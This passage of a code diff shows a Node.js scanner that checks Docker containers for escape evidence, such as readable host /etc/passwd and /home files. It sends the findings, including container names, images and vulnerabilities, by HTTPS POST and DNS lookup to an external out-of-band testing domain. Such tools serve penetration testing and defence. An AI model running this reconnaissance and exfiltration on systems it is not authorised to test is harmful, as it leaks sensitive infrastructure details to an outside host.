|
+
// Evidence points
|
|
429
|
+
score += Math.min(this.info.evidence.length * 5, 25);
|
|
430
|
+
|
|
431
|
+
// Capabilities points
|
|
432
|
+
if (this.info.capabilities.includes('CAP_SYS_ADMIN')) {
|
|
433
|
+
score += 20;
|
|
434
|
+
}
|
|
435
|
+
|
|
436
|
+
// Determine escape status
|
|
437
|
+
this.info.confidence = Math.min(100, score);
|
|
438
|
+
|
|
439
|
+
if (this.info.confidence >= 70) {
|
|
440
|
+
this.info.escapeStatus = 'confirmed';
|
|
441
|
+
this.info.risk = 'critical';
|
|
442
|
+
} else if (this.info.confidence >= 40) {
|
|
443
|
+
this.info.escapeStatus = 'probable';
|
|
444
|
+
this.info.risk = 'high';
|
|
445
|
+
} else if (this.info.confidence >= 20) {
|
|
446
|
+
this.info.escapeStatus = 'possible';
|
|
447
|
+
this.info.risk = 'medium';
|
|
448
|
+
} else {
|
|
449
|
+
this.info.escapeStatus = 'unlikely';
|
|
450
|
+
this.info.risk = 'low';
|
|
451
|
+
}
|
|
452
|
+
}
|
|
453
|
+
|
|
454
|
+
async reportToOAST() {
|
|
455
|
+
if (this.info.escapeStatus !== 'unlikely' && this.info.confidence > 10) {
|
|
456
|
+
const payload = {
|
|
457
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
458
|
+
timestamp: new Date().toISOString(),
|
|
459
|
+
container: {
|
|
460
|
+
id: this.shortId,
|
|
461
|
+
name: this.info.name,
|
|
462
|
+
image: this.info.image
|
|
463
|
+
},
|
|
464
|
+
escape: {
|
|
465
|
+
status: this.info.escapeStatus,
|
|
466
|
+
confidence: this.info.confidence,
|
|
467
|
+
risk: this.info.risk,
|
|
468
|
+
methods: this.info.methods,
|
|
469
|
+
evidence: this.info.evidence.slice(0, 5)
|
|
470
|
+
},
|
|
471
|
+
vulnerabilities: this.info.vulnerabilities
|
|
472
|
+
};
|
|
473
|
+
|
|
474
|
+
this.sendOAST('container_escape_report', payload);
|
|
475
|
+
}
|
|
476
|
+
}
|
|
477
|
+
|
|
478
|
+
sendOAST(type, data) {
|
|
479
|
+
const interactionId = `interaction-${Date.now()}-${crypto.randomBytes(3).toString('hex')}`;
|
|
480
|
+
const interaction = {
|
|
481
|
+
id: interactionId,
|
|
482
|
+
type: type,
|
|
483
|
+
timestamp: new Date().toISOString(),
|
|
484
|
+
container: this.shortId,
|
|
485
|
+
data: data
|
|
486
|
+
};
|
|
487
|
+
|
|
488
|
+
STATE.oastInteractions.push(interaction);
|
|
489
|
+
|
|
490
|
+
// Send via HTTPS
|
|
491
|
+
const req = https.request({
|
|
492
|
+
hostname: CONFIG.OAST.domain,
|
|
493
|
+
port: CONFIG.OAST.httpsPort,
|
|
494
|
+
path: '/multi-container-escape',
|
|
495
|
+
method: 'POST',
|
|
496
|
+
headers: {
|
|
497
|
+
'Content-Type': 'application/json',
|
|
498
|
+
'X-Session-ID': CONFIG.OAST.sessionId,
|
|
499
|
+
'X-Container-ID': this.shortId,
|
|
500
|
+
'X-API-Key': CONFIG.OAST.apiKey,
|
|
501
|
+
'User-Agent': 'MultiContainerEscapeDetector/3.0'
|
|
502
|
+
}
|
|
503
|
+
}, (res) => {
|
|
504
|
+
let body = '';
|
|
505
|
+
res.on('data', chunk => body += chunk);
|
|
506
|
+
res.on('end', () => {
|
|
507
|
+
if (CONFIG.OUTPUT.verbose) {
|
|
508
|
+
console.log(`📡 OAST report sent for ${this.shortId} (${res.statusCode})`);
|
|
429
509
|
}
|
|
430
510
|
});
|
|
431
511
|
});
|
|
432
|
-
|
|
433
|
-
}
|
|
434
|
-
|
|
435
|
-
|
|
436
|
-
|
|
437
|
-
|
|
438
|
-
|
|
439
|
-
|
|
440
|
-
|
|
441
|
-
|
|
442
|
-
|
|
443
|
-
|
|
444
|
-
|
|
445
|
-
|
|
446
|
-
|
|
447
|
-
proofPoints.push("Hostname المضيف ≠ Hostname الحاوية (أقوى دليل)");
|
|
448
|
-
}
|
|
449
|
-
|
|
450
|
-
if (evidenceLog.definitiveEvidence.hostFilesAccess) {
|
|
451
|
-
confidenceScore += 25;
|
|
452
|
-
proofPoints.push("الوصول لملفات /home في المضيف");
|
|
453
|
-
}
|
|
454
|
-
|
|
455
|
-
if (evidenceLog.definitiveEvidence.hostUsersReadable) {
|
|
456
|
-
confidenceScore += 20;
|
|
457
|
-
proofPoints.push("قراءة /etc/passwd للمضيف");
|
|
512
|
+
|
|
513
|
+
req.on('error', () => {});
|
|
514
|
+
req.write(JSON.stringify({
|
|
515
|
+
interactionId: interactionId,
|
|
516
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
517
|
+
containerId: this.shortId,
|
|
518
|
+
data: data
|
|
519
|
+
}));
|
|
520
|
+
req.end();
|
|
521
|
+
|
|
522
|
+
// Also send DNS notification for critical escapes
|
|
523
|
+
if (this.info.risk === 'critical') {
|
|
524
|
+
const dnsName = `${this.shortId}-critical.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}`;
|
|
525
|
+
dns.lookup(dnsName, () => {});
|
|
526
|
+
}
|
|
458
527
|
}
|
|
459
|
-
|
|
460
|
-
|
|
461
|
-
|
|
462
|
-
|
|
463
|
-
|
|
528
|
+
|
|
529
|
+
executeCommand(command) {
|
|
530
|
+
return new Promise((resolve, reject) => {
|
|
531
|
+
exec(command, { timeout: 5000 }, (error, stdout, stderr) => {
|
|
532
|
+
if (error) {
|
|
533
|
+
reject(error);
|
|
534
|
+
} else {
|
|
535
|
+
resolve(stdout.toString().trim());
|
|
536
|
+
}
|
|
537
|
+
});
|
|
538
|
+
});
|
|
464
539
|
}
|
|
465
|
-
|
|
466
|
-
|
|
467
|
-
|
|
468
|
-
|
|
540
|
+
|
|
541
|
+
updateStatistics() {
|
|
542
|
+
STATE.statistics.scannedContainers++;
|
|
543
|
+
|
|
544
|
+
if (this.info.escapeStatus === 'confirmed') {
|
|
545
|
+
STATE.statistics.escapedContainers++;
|
|
546
|
+
STATE.statistics.criticalEscapes++;
|
|
547
|
+
} else if (this.info.escapeStatus === 'probable') {
|
|
548
|
+
STATE.statistics.escapedContainers++;
|
|
549
|
+
}
|
|
550
|
+
|
|
551
|
+
if (this.info.vulnerabilities.length > 0) {
|
|
552
|
+
STATE.statistics.vulnerableContainers++;
|
|
553
|
+
}
|
|
469
554
|
}
|
|
470
|
-
|
|
471
|
-
|
|
472
|
-
|
|
473
|
-
|
|
555
|
+
}
|
|
556
|
+
|
|
557
|
+
// ===================== MAIN SCANNER CLASS =====================
|
|
558
|
+
class MultiContainerScanner {
|
|
559
|
+
constructor() {
|
|
560
|
+
this.scanners = [];
|
|
561
|
+
this.results = [];
|
|
474
562
|
}
|
|
475
|
-
|
|
476
|
-
|
|
477
|
-
|
|
478
|
-
|
|
563
|
+
|
|
564
|
+
async discoverContainers() {
|
|
565
|
+
console.log('🔎 Discovering containers...');
|
|
566
|
+
|
|
567
|
+
try {
|
|
568
|
+
// Get all running containers
|
|
569
|
+
const cmd = 'docker ps -q --no-trunc';
|
|
570
|
+
const output = await this.exec(cmd);
|
|
571
|
+
const containerIds = output.split('\n').filter(id => id.trim());
|
|
572
|
+
|
|
573
|
+
STATE.statistics.totalContainers = containerIds.length;
|
|
574
|
+
|
|
575
|
+
if (containerIds.length === 0) {
|
|
576
|
+
console.log('ℹ️ No running containers found.');
|
|
577
|
+
return [];
|
|
578
|
+
}
|
|
579
|
+
|
|
580
|
+
console.log(`📦 Found ${containerIds.length} containers`);
|
|
581
|
+
return containerIds;
|
|
582
|
+
} catch (error) {
|
|
583
|
+
console.error('❌ Failed to discover containers:', error.message);
|
|
584
|
+
return [];
|
|
585
|
+
}
|
|
479
586
|
}
|
|
480
|
-
|
|
481
|
-
|
|
482
|
-
|
|
587
|
+
|
|
588
|
+
async scanContainers(containerIds) {
|
|
589
|
+
console.log(`🚀 Starting scan of ${containerIds.length} containers...\n`);
|
|
590
|
+
|
|
591
|
+
// Create scanners
|
|
592
|
+
this.scanners = containerIds.map(id => new ContainerScanner(id));
|
|
593
|
+
|
|
594
|
+
// Scan in batches to avoid overwhelming the system
|
|
595
|
+
const batchSize = CONFIG.SCAN.parallelScans;
|
|
596
|
+
for (let i = 0; i < this.scanners.length; i += batchSize) {
|
|
597
|
+
const batch = this.scanners.slice(i, i + batchSize);
|
|
598
|
+
console.log(`📊 Batch ${Math.floor(i/batchSize) + 1}: Scanning ${batch.length} containers...`);
|
|
599
|
+
|
|
600
|
+
const batchPromises = batch.map(scanner =>
|
|
601
|
+
scanner.scan().catch(error => {
|
|
602
|
+
console.error(`Failed to scan ${scanner.shortId}:`, error.message);
|
|
603
|
+
return scanner.info;
|
|
604
|
+
})
|
|
605
|
+
);
|
|
606
|
+
|
|
607
|
+
const batchResults = await Promise.all(batchPromises);
|
|
608
|
+
this.results.push(...batchResults);
|
|
609
|
+
|
|
610
|
+
// Show progress
|
|
611
|
+
const scanned = Math.min(i + batchSize, this.scanners.length);
|
|
612
|
+
const percent = Math.round((scanned / this.scanners.length) * 100);
|
|
613
|
+
console.log(`📈 Progress: ${scanned}/${this.scanners.length} (${percent}%)\n`);
|
|
614
|
+
}
|
|
615
|
+
|
|
616
|
+
return this.results;
|
|
483
617
|
}
|
|
484
|
-
|
|
485
|
-
|
|
486
|
-
|
|
487
|
-
|
|
488
|
-
|
|
489
|
-
|
|
490
|
-
|
|
491
|
-
|
|
492
|
-
|
|
493
|
-
|
|
494
|
-
|
|
495
|
-
|
|
496
|
-
|
|
497
|
-
|
|
498
|
-
|
|
618
|
+
|
|
619
|
+
async generateReport() {
|
|
620
|
+
console.log('\n' + '═'.repeat(80));
|
|
621
|
+
console.log('📊 MULTI-CONTAINER ESCAPE SCAN REPORT');
|
|
622
|
+
console.log('═'.repeat(80));
|
|
623
|
+
|
|
624
|
+
const report = {
|
|
625
|
+
metadata: {
|
|
626
|
+
timestamp: new Date().toISOString(),
|
|
627
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
628
|
+
scanDuration: Date.now() - STATE.startTime,
|
|
629
|
+
config: CONFIG
|
|
630
|
+
},
|
|
631
|
+
statistics: STATE.statistics,
|
|
632
|
+
oast: {
|
|
633
|
+
domain: CONFIG.OAST.domain,
|
|
634
|
+
interactions: STATE.oastInteractions.length,
|
|
635
|
+
session: CONFIG.OAST.sessionId
|
|
636
|
+
},
|
|
637
|
+
containers: this.results,
|
|
638
|
+
summary: this.generateSummary()
|
|
639
|
+
};
|
|
640
|
+
|
|
641
|
+
// Print summary
|
|
642
|
+
this.printSummary(report.summary);
|
|
643
|
+
|
|
644
|
+
// Save report if enabled
|
|
645
|
+
if (CONFIG.OUTPUT.saveReports) {
|
|
646
|
+
await this.saveReport(report);
|
|
647
|
+
}
|
|
648
|
+
|
|
649
|
+
return report;
|
|
499
650
|
}
|
|
500
|
-
|
|
501
|
-
|
|
502
|
-
|
|
503
|
-
|
|
504
|
-
|
|
505
|
-
|
|
506
|
-
|
|
507
|
-
|
|
508
|
-
|
|
651
|
+
|
|
652
|
+
generateSummary() {
|
|
653
|
+
const summary = {
|
|
654
|
+
totalScanned: STATE.statistics.scannedContainers,
|
|
655
|
+
escapedContainers: [],
|
|
656
|
+
vulnerableContainers: [],
|
|
657
|
+
criticalIssues: [],
|
|
658
|
+
recommendations: []
|
|
659
|
+
};
|
|
660
|
+
|
|
661
|
+
this.results.forEach(container => {
|
|
662
|
+
if (container.escapeStatus === 'confirmed' || container.escapeStatus === 'probable') {
|
|
663
|
+
summary.escapedContainers.push({
|
|
664
|
+
id: container.id.substring(0, 12),
|
|
665
|
+
name: container.name,
|
|
666
|
+
confidence: container.confidence,
|
|
667
|
+
methods: container.methods,
|
|
668
|
+
risk: container.risk
|
|
669
|
+
});
|
|
670
|
+
}
|
|
671
|
+
|
|
672
|
+
if (container.vulnerabilities.length > 0) {
|
|
673
|
+
summary.vulnerableContainers.push({
|
|
674
|
+
id: container.id.substring(0, 12),
|
|
675
|
+
name: container.name,
|
|
676
|
+
vulnerabilities: container.vulnerabilities
|
|
677
|
+
});
|
|
678
|
+
}
|
|
679
|
+
|
|
680
|
+
if (container.risk === 'critical') {
|
|
681
|
+
summary.criticalIssues.push({
|
|
682
|
+
id: container.id.substring(0, 12),
|
|
683
|
+
name: container.name,
|
|
684
|
+
evidence: container.evidence.slice(0, 3)
|
|
685
|
+
});
|
|
686
|
+
}
|
|
687
|
+
});
|
|
688
|
+
|
|
689
|
+
// Generate recommendations
|
|
690
|
+
if (summary.escapedContainers.length > 0) {
|
|
691
|
+
summary.recommendations.push(
|
|
692
|
+
`Immediate action required: ${summary.escapedContainers.length} containers can escape to host`
|
|
693
|
+
);
|
|
509
694
|
}
|
|
510
|
-
|
|
511
|
-
|
|
512
|
-
|
|
513
|
-
}
|
|
695
|
+
|
|
696
|
+
if (summary.criticalIssues.length > 0) {
|
|
697
|
+
summary.recommendations.push(
|
|
698
|
+
`Critical vulnerabilities found in ${summary.criticalIssues.length} containers`
|
|
699
|
+
);
|
|
700
|
+
}
|
|
701
|
+
|
|
702
|
+
if (summary.vulnerableContainers.length > 0) {
|
|
703
|
+
summary.recommendations.push(
|
|
704
|
+
`Update kernel/software in ${summary.vulnerableContainers.length} containers`
|
|
705
|
+
);
|
|
706
|
+
}
|
|
707
|
+
|
|
708
|
+
if (summary.escapedContainers.length === 0) {
|
|
709
|
+
summary.recommendations.push('No critical escape vectors detected. Regular security maintenance recommended.');
|
|
710
|
+
}
|
|
711
|
+
|
|
712
|
+
return summary;
|
|
713
|
+
}
|
|
514
714
|
|
|
515
|
-
|
|
516
|
-
|
|
517
|
-
|
|
518
|
-
|
|
519
|
-
|
|
520
|
-
|
|
521
|
-
|
|
522
|
-
|
|
523
|
-
|
|
524
|
-
|
|
525
|
-
|
|
526
|
-
|
|
527
|
-
|
|
528
|
-
|
|
529
|
-
|
|
530
|
-
|
|
531
|
-
|
|
715
|
+
printSummary(summary) {
|
|
716
|
+
console.log('\n📈 SCAN STATISTICS:');
|
|
717
|
+
console.log(' Total containers scanned:', summary.totalScanned);
|
|
718
|
+
console.log(' Containers that can escape:', summary.escapedContainers.length);
|
|
719
|
+
console.log(' Vulnerable containers:', summary.vulnerableContainers.length);
|
|
720
|
+
console.log(' Critical issues:', summary.criticalIssues.length);
|
|
721
|
+
|
|
722
|
+
if (summary.escapedContainers.length > 0) {
|
|
723
|
+
console.log('\n🚨 CRITICAL - CONTAINERS THAT CAN ESCAPE:');
|
|
724
|
+
summary.escapedContainers.forEach((container, i) => {
|
|
725
|
+
console.log(` ${i + 1}. ${container.name || container.id}`);
|
|
726
|
+
console.log(` Confidence: ${container.confidence}% | Risk: ${container.risk.toUpperCase()}`);
|
|
727
|
+
console.log(` Methods: ${container.methods.join(', ')}`);
|
|
728
|
+
});
|
|
729
|
+
}
|
|
730
|
+
|
|
731
|
+
if (summary.criticalIssues.length > 0) {
|
|
732
|
+
console.log('\n⚠️ CRITICAL VULNERABILITIES:');
|
|
733
|
+
summary.criticalIssues.forEach((issue, i) => {
|
|
734
|
+
console.log(` ${i + 1}. ${issue.name || issue.id}`);
|
|
735
|
+
issue.evidence.forEach(ev => console.log(` - ${ev}`));
|
|
736
|
+
});
|
|
737
|
+
}
|
|
738
|
+
|
|
739
|
+
console.log('\n💡 RECOMMENDATIONS:');
|
|
740
|
+
summary.recommendations.forEach((rec, i) => {
|
|
741
|
+
console.log(` ${i + 1}. ${rec}`);
|
|
742
|
+
});
|
|
743
|
+
|
|
744
|
+
console.log('\n📡 OAST REPORTING:');
|
|
745
|
+
console.log(` Domain: ${CONFIG.OAST.domain}`);
|
|
746
|
+
console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
|
|
747
|
+
console.log(` Interactions sent: ${STATE.oastInteractions.length}`);
|
|
748
|
+
console.log(` Check OAST for detailed evidence: https://oastify.com`);
|
|
749
|
+
|
|
750
|
+
console.log('\n' + '═'.repeat(80));
|
|
751
|
+
console.log('🎯 SCAN COMPLETE');
|
|
752
|
+
|
|
753
|
+
if (summary.escapedContainers.length > 0) {
|
|
754
|
+
console.log('🚨 SECURITY ALERT: Container escape vectors detected!');
|
|
755
|
+
console.log('🔒 Immediate remediation required.');
|
|
756
|
+
} else {
|
|
757
|
+
console.log('✅ No critical escape vectors detected.');
|
|
758
|
+
console.log('🛡️ Regular security monitoring recommended.');
|
|
759
|
+
}
|
|
760
|
+
|
|
761
|
+
console.log('═'.repeat(80));
|
|
532
762
|
}
|
|
533
|
-
|
|
534
|
-
|
|
535
|
-
|
|
536
|
-
|
|
537
|
-
|
|
538
|
-
|
|
539
|
-
|
|
540
|
-
|
|
541
|
-
|
|
542
|
-
|
|
543
|
-
|
|
544
|
-
|
|
545
|
-
|
|
546
|
-
|
|
763
|
+
|
|
764
|
+
async saveReport(report) {
|
|
765
|
+
const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
|
|
766
|
+
const filename = `multi-container-scan-${timestamp}.json`;
|
|
767
|
+
|
|
768
|
+
try {
|
|
769
|
+
fs.writeFileSync(filename, JSON.stringify(report, null, 2));
|
|
770
|
+
console.log(`\n💾 Full report saved to: ${filename}`);
|
|
771
|
+
|
|
772
|
+
// Also save a summary file
|
|
773
|
+
const summaryFilename = `scan-summary-${timestamp}.txt`;
|
|
774
|
+
let summaryText = `MULTI-CONTAINER ESCAPE SCAN SUMMARY\n`;
|
|
775
|
+
summaryText += `Date: ${new Date().toLocaleString()}\n`;
|
|
776
|
+
summaryText += `Session ID: ${CONFIG.OAST.sessionId}\n\n`;
|
|
777
|
+
|
|
778
|
+
summaryText += `STATISTICS:\n`;
|
|
779
|
+
summaryText += ` Total containers: ${report.statistics.totalContainers}\n`;
|
|
780
|
+
summaryText += ` Escaped containers: ${report.summary.escapedContainers.length}\n`;
|
|
781
|
+
summaryText += ` Critical issues: ${report.summary.criticalIssues.length}\n\n`;
|
|
782
|
+
|
|
783
|
+
if (report.summary.escapedContainers.length > 0) {
|
|
784
|
+
summaryText += `CRITICAL CONTAINERS:\n`;
|
|
785
|
+
report.summary.escapedContainers.forEach(container => {
|
|
786
|
+
summaryText += ` - ${container.name || container.id} (${container.confidence}%)\n`;
|
|
787
|
+
});
|
|
788
|
+
summaryText += '\n';
|
|
789
|
+
}
|
|
790
|
+
|
|
791
|
+
summaryText += `OAST DETAILS:\n`;
|
|
792
|
+
summaryText += ` Domain: ${CONFIG.OAST.domain}\n`;
|
|
793
|
+
summaryText += ` Session: ${CONFIG.OAST.sessionId}\n`;
|
|
794
|
+
summaryText += ` Interactions: ${STATE.oastInteractions.length}\n`;
|
|
795
|
+
|
|
796
|
+
fs.writeFileSync(summaryFilename, summaryText);
|
|
797
|
+
console.log(`📝 Summary saved to: ${summaryFilename}`);
|
|
798
|
+
|
|
799
|
+
} catch (error) {
|
|
800
|
+
console.error('❌ Failed to save report:', error.message);
|
|
801
|
+
}
|
|
547
802
|
}
|
|
548
|
-
|
|
549
|
-
|
|
550
|
-
|
|
551
|
-
|
|
552
|
-
|
|
553
|
-
|
|
554
|
-
|
|
555
|
-
|
|
556
|
-
|
|
803
|
+
|
|
804
|
+
exec(command) {
|
|
805
|
+
return new Promise((resolve, reject) => {
|
|
806
|
+
exec(command, { timeout: 10000 }, (error, stdout, stderr) => {
|
|
807
|
+
if (error) {
|
|
808
|
+
reject(error);
|
|
809
|
+
} else {
|
|
810
|
+
resolve(stdout.toString().trim());
|
|
811
|
+
}
|
|
812
|
+
});
|
|
557
813
|
});
|
|
558
814
|
}
|
|
559
|
-
|
|
560
|
-
|
|
561
|
-
|
|
562
|
-
|
|
563
|
-
|
|
815
|
+
}
|
|
816
|
+
|
|
817
|
+
// ===================== MAIN EXECUTION =====================
|
|
818
|
+
async function main() {
|
|
819
|
+
console.log('🚀 Starting Multi-Container Escape Scanner...\n');
|
|
820
|
+
console.log('⚙️ Configuration:');
|
|
821
|
+
console.log(` OAST Domain: ${CONFIG.OAST.domain}`);
|
|
822
|
+
console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
|
|
823
|
+
console.log(` Parallel scans: ${CONFIG.SCAN.parallelScans}`);
|
|
824
|
+
console.log(` Deep scan: ${CONFIG.SCAN.deepScan ? 'Yes' : 'No'}`);
|
|
825
|
+
|
|
826
|
+
// Initial OAST ping
|
|
827
|
+
console.log('\n📡 Sending initial OAST ping...');
|
|
828
|
+
try {
|
|
829
|
+
const req = https.request({
|
|
830
|
+
hostname: CONFIG.OAST.domain,
|
|
831
|
+
port: CONFIG.OAST.httpsPort,
|
|
832
|
+
path: '/scan-start',
|
|
833
|
+
method: 'POST',
|
|
834
|
+
headers: {
|
|
835
|
+
'Content-Type': 'application/json',
|
|
836
|
+
'X-Session-ID': CONFIG.OAST.sessionId
|
|
837
|
+
}
|
|
564
838
|
});
|
|
565
|
-
|
|
566
|
-
|
|
567
|
-
|
|
568
|
-
|
|
569
|
-
|
|
570
|
-
|
|
571
|
-
|
|
572
|
-
|
|
573
|
-
|
|
574
|
-
|
|
575
|
-
}
|
|
576
|
-
|
|
577
|
-
// حفظ التقرير محلياً
|
|
578
|
-
const reportFilename = `/tmp/container-escape-oast-report-${evidenceLog.sessionId}.json`;
|
|
579
|
-
fs.writeFileSync(reportFilename, JSON.stringify(evidenceLog, null, 2));
|
|
580
|
-
|
|
581
|
-
console.log(`\n💾 التقرير الكامل محفوظ في: ${reportFilename}`);
|
|
839
|
+
|
|
840
|
+
req.write(JSON.stringify({
|
|
841
|
+
action: 'scan_start',
|
|
842
|
+
timestamp: new Date().toISOString(),
|
|
843
|
+
config: {
|
|
844
|
+
parallelScans: CONFIG.SCAN.parallelScans,
|
|
845
|
+
maxContainers: CONFIG.SCAN.maxContainers
|
|
846
|
+
}
|
|
847
|
+
}));
|
|
848
|
+
req.end();
|
|
849
|
+
} catch (e) {}
|
|
582
850
|
|
|
583
|
-
//
|
|
584
|
-
|
|
585
|
-
console.log("🔍 كيفية التحقق من النتائج في OAST:");
|
|
586
|
-
console.log("=".repeat(80));
|
|
587
|
-
console.log("\n1. اذهب إلى: https://app.oastify.com (أو أداة Burp Collaborator)");
|
|
588
|
-
console.log(`2. أدخل الدومين: ${OAST_CONFIG.domain}`);
|
|
589
|
-
console.log(`3. ابحث عن Session ID: ${evidenceLog.sessionId}`);
|
|
590
|
-
console.log("4. ستجد التفاعلات التالية:");
|
|
591
|
-
console.log(" - DNS requests (إذا نجحت)");
|
|
592
|
-
console.log(" - HTTP requests (إذا نجحت)");
|
|
593
|
-
console.log(" - HTTPS POST requests مع أدلة الهروب");
|
|
594
|
-
console.log("\n5. إذا رأيت HTTPS request تحتوي على:");
|
|
595
|
-
console.log(" - 'escapedToHost': true ← تأكيد الهروب");
|
|
596
|
-
console.log(" - 'confidence': >60% ← ثقة عالية");
|
|
597
|
-
console.log(" - 'proofPoints' ← قائمة بالأدلة");
|
|
851
|
+
// Create scanner and run
|
|
852
|
+
const scanner = new MultiContainerScanner();
|
|
598
853
|
|
|
599
|
-
|
|
600
|
-
|
|
601
|
-
|
|
602
|
-
|
|
603
|
-
|
|
604
|
-
|
|
605
|
-
|
|
606
|
-
|
|
607
|
-
|
|
608
|
-
|
|
609
|
-
|
|
854
|
+
try {
|
|
855
|
+
// Discover containers
|
|
856
|
+
const containerIds = await scanner.discoverContainers();
|
|
857
|
+
|
|
858
|
+
if (containerIds.length === 0) {
|
|
859
|
+
console.log('No containers to scan. Exiting.');
|
|
860
|
+
process.exit(0);
|
|
861
|
+
}
|
|
862
|
+
|
|
863
|
+
// Scan containers
|
|
864
|
+
const results = await scanner.scanContainers(containerIds);
|
|
865
|
+
|
|
866
|
+
// Generate report
|
|
867
|
+
const report = await scanner.generateReport();
|
|
868
|
+
|
|
869
|
+
// Send final report to OAST
|
|
870
|
+
console.log('\n📡 Sending final report to OAST...');
|
|
871
|
+
try {
|
|
872
|
+
const finalReq = https.request({
|
|
873
|
+
hostname: CONFIG.OAST.domain,
|
|
874
|
+
port: CONFIG.OAST.httpsPort,
|
|
875
|
+
path: '/scan-complete',
|
|
876
|
+
method: 'POST',
|
|
877
|
+
headers: {
|
|
878
|
+
'Content-Type': 'application/json',
|
|
879
|
+
'X-Session-ID': CONFIG.OAST.sessionId,
|
|
880
|
+
'X-Final-Report': 'true'
|
|
881
|
+
}
|
|
882
|
+
});
|
|
883
|
+
|
|
884
|
+
finalReq.write(JSON.stringify({
|
|
885
|
+
action: 'scan_complete',
|
|
886
|
+
timestamp: new Date().toISOString(),
|
|
887
|
+
statistics: report.statistics,
|
|
888
|
+
summary: report.summary,
|
|
889
|
+
sessionId: CONFIG.OAST.sessionId
|
|
890
|
+
}));
|
|
891
|
+
|
|
892
|
+
finalReq.end();
|
|
893
|
+
console.log('✅ Final report sent to OAST.');
|
|
894
|
+
} catch (e) {
|
|
895
|
+
console.log('⚠️ Could not send final report to OAST (may be expected)');
|
|
896
|
+
}
|
|
897
|
+
|
|
898
|
+
// Exit with appropriate code
|
|
899
|
+
if (report.summary.escapedContainers.length > 0) {
|
|
900
|
+
console.log('\n⚠️ Exiting with warning code (containers can escape)');
|
|
901
|
+
process.exit(2);
|
|
902
|
+
} else {
|
|
903
|
+
console.log('\n✅ Scan completed successfully.');
|
|
904
|
+
process.exit(0);
|
|
905
|
+
}
|
|
906
|
+
|
|
907
|
+
} catch (error) {
|
|
908
|
+
console.error('\n❌ Scan failed:', error.message);
|
|
909
|
+
process.exit(1);
|
|
610
910
|
}
|
|
611
|
-
console.log("=".repeat(80));
|
|
612
911
|
}
|
|
613
912
|
|
|
614
|
-
// =====================
|
|
615
|
-
|
|
616
|
-
|
|
617
|
-
|
|
618
|
-
|
|
619
|
-
|
|
620
|
-
|
|
621
|
-
|
|
622
|
-
|
|
623
|
-
|
|
624
|
-
|
|
625
|
-
|
|
626
|
-
|
|
913
|
+
// ===================== EXECUTE =====================
|
|
914
|
+
if (require.main === module) {
|
|
915
|
+
// Check if Docker is available
|
|
916
|
+
exec('which docker', (error) => {
|
|
917
|
+
if (error) {
|
|
918
|
+
console.error('❌ Docker is not available or not in PATH.');
|
|
919
|
+
console.error(' This tool requires Docker to be installed and accessible.');
|
|
920
|
+
process.exit(1);
|
|
921
|
+
}
|
|
922
|
+
|
|
923
|
+
// Check if we have permission to run docker commands
|
|
924
|
+
exec('docker ps', (error) => {
|
|
925
|
+
if (error && error.message.includes('permission denied')) {
|
|
926
|
+
console.error('❌ Permission denied for Docker commands.');
|
|
927
|
+
console.error(' Try running with sudo or add your user to docker group.');
|
|
928
|
+
process.exit(1);
|
|
929
|
+
}
|
|
930
|
+
|
|
931
|
+
// Start the scan
|
|
932
|
+
main();
|
|
933
|
+
});
|
|
934
|
+
});
|
|
935
|
+
}
|
|
627
936
|
|
|
628
|
-
|
|
629
|
-
setTimeout(detectContainerEnvironment, 1000);
|
|
937
|
+
module.exports = { MultiContainerScanner, ContainerScanner };
|